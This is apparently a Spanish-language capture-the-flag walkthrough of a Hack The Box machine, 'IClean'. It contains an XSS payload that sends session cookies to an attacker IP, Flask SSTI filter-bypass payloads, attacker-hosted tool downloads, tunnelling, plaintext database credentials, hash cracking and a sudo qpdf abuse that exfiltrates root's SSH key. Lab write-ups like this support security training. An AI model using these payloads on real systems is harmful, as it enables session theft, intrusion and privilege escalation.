



nmap

nmap -sC -sV 10.129.113.188

Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-04-09 19:03 CEST

Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan

SYN Stealth Scan Timing: About 53.50% done; ETC: 19:03 (0:00:01 remaining)

Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 50.00% done; ETC: 19:03 (0:00:06 remaining)

Nmap scan report for idean.htb (10.129.113.188)

Host is up (0.086s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)

|\_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

|\_http-server-header: Apache/2.4.52 (Ubuntu)

|\_http-title: Site doesn't have a title (text/html).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds

vim /etc/hosts

10.129.113.188 capiclean.htb

#Vamos a <http://capiclean.htb/login>.

#Abrimos burpsuite y enviamos un POST.

POST /sendMessage HTTP/1.1

Host: capiclean.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 45

Origin: http://capiclean.htb

Connection: close

Referer: http://capiclean.htb/quote

Upgrade-Insecure-Requests: 1

service=Office+Cleaning&email=test%40test.com

#Modificamos la petición de tipo POST añadiendo este script..

service=<img src=x onerror fetch("http://10.10.14.53:1234/"+document.cookie);>Office+Cleaning&email=test%40test.com

#Enviamos esta request con burpsuite:

POST /sendMessage HTTP/1.1

Host: capiclean.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/av if,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 110

Origin: http://capiclean.htb

Connection: close

Referer: http://capiclean.htb/quote

Upgrade-Insecure-Requests: 1

service=<img+src%3dx+onerror%3dfetch("http%3a//10.10.14.53%3a1234/"%2bdocument.cookie)%3b>&email=test%40test.com

#Nos llega esta cookie.

python3 -m http.server 1234

Serving HTTP on 0.0.0.0 port 1234 (<http://0.0.0.0:1234/>) ...

10.129.113.188 - - [09/Apr/2024 19:25:24] code 404, message File not found

10.129.113.188 - - [09/Apr/2024 19:25:24] "GET /session=eyJybz2lIjoiMjE5MjZmMjY3YTU3YTZhNzQzODk0YTBlNGE4MDFmYzYzMiQ.ZhQSMgJtQM4Hr3XdyOtkLc4L4xoPb8FAA



## enumeration

# Ahora tendremos acceso a <http://capiclean.htb/InvoiceGenerator>

# Luego generaremos un código QR.

```
POST /InvoiceGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/InvoiceGenerator
Cookie: session=eyJyb2xlIjoiMjE5MzJmMjk3YTU3YTZhZmYzODk0YTBlNGE4MDFmYzMiQ.Zha1cw.tqao0zFkxm9R1mKUYdFNFkQ5y8A
Upgrade-Insecure-Requests: 1

selected_service=Basic+Cleaning&qty=1&project=a&client=a&address=a&email-address=a%40a.com
```

# Ahora, tendremos un ID generado.

Invoice ID generated: 3560319389

# Nos dirigimos a: <http://capiclean.htb/QRGenerator> y pegamos el ID.

QR Code Link: [http://capiclean.htb/static/qr\\_code/qr\\_code\\_3560319389.png](http://capiclean.htb/static/qr_code/qr_code_3560319389.png)

# Si indicamos la URL de un código QR, podremos ver la petición y el precio de la misma.

DATE

February 16, 2023

Invoice: ov66jkn

DUE DATE

September 17, 2024

SERVICE	PRICE	QTY	TOTAL
Workmanship	\$39.99	10	\$399.99
Basic Cleaning	\$14	1	\$3893.99

SUBTOTAL 4292.99

TAX 25% \$99.99

GRAND TOTAL \$4392.99

PROJECT a

CLIENT a

ADDRESS a

EMAIL a@a.com

Company Name iClean

31 Spooner Street, RI 00093, US ADDRESS

(123) 456-789 PHONE

contact@capiclean.htb EMAIL

# Podemos ver como nos encontramos ante un SSTI

# Si lanzamos una request para ver los objetos:

```
invoice_id=&form_type=scannable_invoice&qr_link={{config.items()}}
```

# Nos devuelve:

```
</script>
</main>

<div class="qr-code-container"><div class="qr-code"></div>
</body>
</html>
```

# Podemos ver como se modifica el atributo `</div>`

# Vemos el resultado de la operación `{{5*5}}`



```
'database': 'capiclean'
}
```

#Para seguir buscando, tendremos que subir el script linepeas:

```
www-data@idean:/tmp$ curl 10.10.16.77:80/linpeas.sh -o linpeas.sh
curl 10.10.16.77:80/linpeas.sh -o linpeas.sh
% Total    % Received % Xferd Average Speed   Time    Time     Time  Current
           Dload Upload   Total   Spent    Left  Speed
100 840k  100 840k    0    0 209k    0 0:00:04 0:00:04 --:--:-- 209k
```

#Le damos permisos y lo ejecutamos

```
chmod +x ./linpeas.sh
```

```
#Al ejecutarlo, vemos como hay algunas conexiones a mysql.
tcp      0      0 127.0.0.1:3306    0.0.0.0:*        LISTEN
-
tcp      0      0 127.0.0.1:41699   0.0.0.0:*        LISTEN  -
tcp      0      0 0.0.0.0:80        0.0.0.0:*        LISTEN  -
tcp      0      0 0.0.0.0:22        0.0.0.0:*        LISTEN  -
tcp      0      0 0.0.0.0:4444      0.0.0.0:*        LISTEN  -
tcp      0      0 127.0.0.1:3000    0.0.0.0:*        LISTEN  1206/python3
tcp      0      0 127.0.0.53:53     0.0.0.0:*        LISTEN  -
tcp      0      0 127.0.0.1:33060   0.0.0.0:*        LISTEN  -
tcp6     0      0 :::22             :::*             LISTEN  -
```

#Mysql, utiliza el puerto 3306, realizaremos un port forwarding con chisel.

## SSTI Flask skills advanced

SSTI Flask skills advanced

Flask Bypass Advanced

Here are some filtering and bypassing techniques.

Sheet 1

Bypass `_` 'these three

There is a writing method that can be used during template injection, but normal Python syntax is not supported.

During the template injection process, the following two writing methods are equivalent.

```
{{"._class_"}}
{{"['\\x5f\\x5fclass\\x5f\\x5f']"}}
```

`"\x5f"` is the character `"_"`, and `"\x2E"` is the character `"."`.

Then, reading the file can be written like this (`_frozen_importlib_external.Loader's get_data()` method, the first one is parameter 0, the second file name)

```
{{"['\\x5f\\x5fclass\\x5f\\x5f']['\\x5f\\x5fbases\\x5f\\x5f'][0]['\\x5f\\x5fsubclasses\\x5f\\x5f']()[91].get\\x5fdata")(0, "app\\x2Epy")}}
#也就是
{{"._class_._bases_[0].__subclasses__()[91].get_data(0,"app.py")}}
```

Sheet 2

Paper link

Simple Flask program example:

```
import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")
```

```
def index():
    exploit = request.args.get('exploit')
    rendered_template = render_template("app.html", exploit=exploit)
    print(rendered_template)
    return render_template_string(rendered_template)
if __name__ == "__main__":
    app.run(debug=True)
```

Corresponding template:

```
{# $>cat templates/app.html #}
{{exploit}}
```

a. Bypass `'_'`

Filter example

```
exploit = request.args.get('exploit')
print exploit

blacklist = ['_']
for bad_string in blacklist:
    if bad_string in exploit:
        return "HACK ATTEMPT {}".format(bad_string), 400
```

In addition `request.__class__`, you can also use the writing method `request["_class_"]`, that is, the array + dictionary subscript method. But just using this method won't work, because the quotes have been escaped during render, and the characters in the blacklist still exist.

Notice that the request variable can access all the variables we submitted. You can use `request.args.<param>` the syntax and pass in a `<param>` to construct the variable.

This gives you a workaround:

```
EXP:/?exploit={{request[request.args.pa]}}&pa=**class**
```

b. Bypass `'request[request.]'`

```
blacklist = ['_', "request[request.]"]
```

Jinja has a syntax similar to the Linux pipe mechanism, namely the '|' symbol.

By using this syntax and adding the attr() method, you can achieve the same effect as writing the attribute name in square brackets.

request | attr(request.args.a)Equivalent to request["a"]

```
EXP:/?exploit={{request | attr(request.args.pa)}}&pa=**class**
```

c. Bypass '\_class\_'

```
blacklist = ["_", "request[request.", "_class_"]
```

Using the pipe + join method, you can perform string splicing operations.

```
["a","b","c"]|joinEquivalent to abc.
```

```
EXP:/?exploit={{request | attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
```

The execution steps of this section are:

```
Bring in variables{{request | attr(["_*2","class", "_*2"]|join)}}
```

```
Call the join method{{request | attr("_\_class_\_")}}
```

```
Call attr method{{request._\_class_\_}}
```

d. Bypass '[' and '']

```
blacklist = ["_", "request[request.", "_class_", '[,']']
```

Parameters can ('a','b','c') be passed as jointuples, bypassing the square brackets. Just replace the square brackets of the previous EXP with round brackets, but there is a more elegant solution.

Use .getlist() the method to get a list. The parameters of this list can be passed later. For specific examples, please see EXP

```
EXP:/?exploit={{request | attr(request.args.getlist(request.args.l))|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
```

e. Bypass " | join"

```
blacklist = ["_", "request[request.", "_class_", '[,']', " | join"]
```

Use the pipe + format method to generate the filtered string using the formatted string.

```
EXP:/?exploit={{request | attr(request.args.f| format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
```

Here f serves as the format string, in which %sis a='\_replaced.



## usr\_flag

#Primero, tendremos que subir el binario de chisel al servidor.

```
www-data@iclean:/tmp$ curl 10.10.16.77:80/chisel -o chisel
curl 10.10.16.77:80/chisel -o
chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
Current                                  Dload  Upload  Total  Spent  Left
Speed
100 8452k 100 8452k    0     0 2759k    0 0:00:03 0:00:03 --:--:--
2759k
www-data@iclean:/tmp$ chmod +x
chisel
chmod +x chisel
```

#En localhost:

```
./chisel server -p 9001 --reverse
2024/04/11 19:53:42 server: Reverse tunnelling enabled
2024/04/11 19:53:42 server: Fingerprint dJHs/EzIlgacX2+eArFUneW763rB0wAz0FBpvF9nH80=
2024/04/11 19:53:42 server: Listening on http://0.0.0.0:9001
```

#En la máquina víctima:

```
www-data@iclean:/tmp$ ./chisel client 10.10.16.77:9001 R:3306:localhost:3306
./chisel client 10.10.16.77:9001 R:3306:localhost:3306
```

#Ahora, podremos acceder al servidor mysql:

#Nos conectaremos a la base de datos con las credenciales obtenidas anteriormente:

```
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
```

#Ahora que tenemos acceso al mysql, enumeraremos las BBDD que existan, luego trataremos de localizar credenciales.

```
mysql capiclean -u "iclean" -h 127.0.0.1 -ppxCsmnGLckUb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
```

Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MySQL connection id is 1685

Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

```
MySQL [capiclean]> show databases;
```

```
+-----+
| Database          |
+-----+
| capiclean         |
| information_schema |
| performance_schema |
+-----+
3 rows in set (0.233 sec)
```

```
MySQL [capiclean]> select * from users;
```

```
+--+-----+-----+-----+-----+
| id | username | password | role_id |
+--+-----+-----+-----+
| 1 | admin   | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+--+-----+-----+-----+
2 rows in set (0.289 sec)
```

#Si buscamos en: <https://www.tunnelsup.com/hash-analyzer/>, por el tipo de hash.

#Usaremos hashcat para crackear el hash.

```
hashcat -m 0 hash --wordlist /usr/share/wordlists/rockyou.txt -m 1400
```

```
hashcat (v6.2.6) starting
```

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL\_DEBUG) - Platform #1 [The pocl project]

```
=====
=====
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2201/4466 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename...: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace...: 14344385

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean

#Ya tenemos las credenciales.
#Haremos login con las credenciales obtenidas:
user:consuela
passwd:simple and clean

#Haremos SSH.

ssh consuela@10.10.11.12
The authenticity of host '10.10.11.12 (10.10.11.12)' can't be established.
ED25519 key fingerprint is SHA256:3nZua2j9n72tMAHW1xkEyDq3bjYNNsBIszK1nbQMZfs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.12' (ED25519) to the list of known hosts.
consuela@10.10.11.12's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Thu Apr 11 07:10:28 PM UTC 2024

Expanded Security Maintenance for Applications is not enabled.

3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
You have mail.
consuela@iclean:~$ whoami
consuela
```

#Ya tenemos la flg del usuario.

priv\_escalation

#Vemos que comandos, puede ejecutar el usuario como root.  
consuela@iclean:~\$ sudo -l  
Matching Defaults entries for consuela on iclean:  
env\_reset, mail\_badpass,  
secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,  
use\_pty  
  
User consuela may run the following commands on iclean:  
(ALL) /usr/bin/qpdf

#Si nos fijamos en /var/mail, vemos un correo de consuela.

consuela@iclean:/var/mail\$ cat consuela  
To: <consuela@capiclean.htb>  
Subject: Issues with PDFs  
From: management <management@capiclean.htb>  
Date: Wed September 6 09:15:33 2023

Hey Consuela,  
  
Have a look over the invoices, I've been receiving some weird PDFs lately.  
  
Regards,  
Management

#Con el comando qpdf, podemos generar ficheros .pdf.  
#Crearemos un fichero en la máquina atacante con la private key del usuario root.  
consuela@iclean:~\$ sudo qpdf --empty --add-attachment /root/.ssh/id\_rsa --mimetype=text/plain -- extract.pdf  
consuela@iclean:~\$ ll  
total 36  
drwxr-x--- 4 consuela consuela 4096 Apr 11 19:23 ./  
drwxr-xr-x 3 root root 4096 Sep 5 2023 ../  
lrwxrwxrwx 1 consuela consuela 9 Sep 5 2023 .bash\_history -> /dev/null  
-rw-r--r-- 1 consuela consuela 220 Jan 6 2022 .bash\_logout  
-rw-r--r-- 1 consuela consuela 3771 Jan 6 2022 .bashrc  
drwx----- 2 consuela consuela 4096 Mar 2 07:51 .cache/  
-rw-r--r-- 1 root root 1196 Apr 11 19:23 extract.pdf  
-rw-r--r-- 1 consuela consuela 807 Jan 6 2022 .profile  
drwx----- 2 consuela consuela 4096 Sep 5 2023 .ssh/  
-rw-r----- 1 root consuela 33 Apr 11 19:05 user.txt

#Ahora, enviaremos el fichero a la máquina atacente con scp.  
#Luego usaremos binwalk para extraer la clave ssh privada del usuario root.

scp consuela@capiclean.htb:/home/consuela/extract.pdf .  
consuela@capiclean.htb's password:  
Permission denied, please try again.  
consuela@capiclean.htb's password:  
extract.pdf

binwalk -Me extract.pdf --run-as=root

Scan Time: 2024-04-11 21:30:05  
Target File: /root/Desktop/machines/IClean/extract.pdf  
MD5 Checksum: 16838f6114af8d80282d816b2d1ba76f  
Signatures: 411

DECIMAL	HEXADECIMAL	DESCRIPTION
0	0x0	PDF document, version: "1.3"
544	0x220	Zlib compressed data, default compression

Scan Time: 2024-04-11 21:30:05  
Target File: /root/Desktop/machines/IClean/\_extract.pdf.extracted/220  
MD5 Checksum: bb34da3f74ca5fb11f4ccbc393e113bc  
Signatures: 411

DECIMAL	HEXADECIMAL	DESCRIPTION
---------	-------------	-------------

```
-----
15      0xF      OpenSSH RSA1 private key, version "zaC1rZXktjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAAABNIY2RzYS"
480     0x1E0     Ubiquiti firmware header, third party, ~CRC32: 0x0, version: "SSH PRIVATE KEY-----"
```

#El comando, habrá creado una carpeta. Podremos ir para cojer la key desde ahi.  
binwalk -Me extract.pdf --run-as=root

Scan Time: 2024-04-11 21:30:05  
Target File: /root/Desktop/machines/IClean/extract.pdf  
MD5 Checksum: 16838f6114af8d80282d816b2d1ba76f  
Signatures: 411

DECIMAL	HEXADECIMAL	DESCRIPTION
-----		
0	0x0	PDF document, version: "1.3"
544	0x220	Zlib compressed data, default compression

Scan Time: 2024-04-11 21:30:05  
Target File: /root/Desktop/machines/IClean/\_extract.pdf.extracted/220  
MD5 Checksum: bb34da3f74ca5fb11f4ccbc393e113bc  
Signatures: 411

DECIMAL	HEXADECIMAL	DESCRIPTION
-----		
15	0xF	OpenSSH RSA1 private key, version "zaC1rZXktjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAAABNIY2RzYS"
480	0x1E0	Ubiquiti firmware header, third party, ~CRC32: 0x0, version: "SSH PRIVATE KEY-----"

#Si especificamos en SSH con la opción -i, podremos acceder usando la clave privada.  
#Primero, asignamos permisos:  
chmod 700 220

```
└─(root@kali)-[~/Desktop/machines/IClean/_extract.pdf.extracted]
└─# ssh -i 220 root@capiclean.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
```

- \* Documentation: <https://help.ubuntu.com>
- \* Management: <https://landscape.canonical.com>
- \* Support: <https://ubuntu.com/pro>

System information as of Thu Apr 11 07:34:02 PM UTC 2024

Expanded Security Maintenance for Applications is not enabled.

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Enable ESM Apps to receive additional future security updates.  
See <https://ubuntu.com/esm> or run: sudo pro status

The list of available updates is more than a week old.  
To check for new updates run: sudo apt update  
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings

```
root@iclean:~# whoami
root
```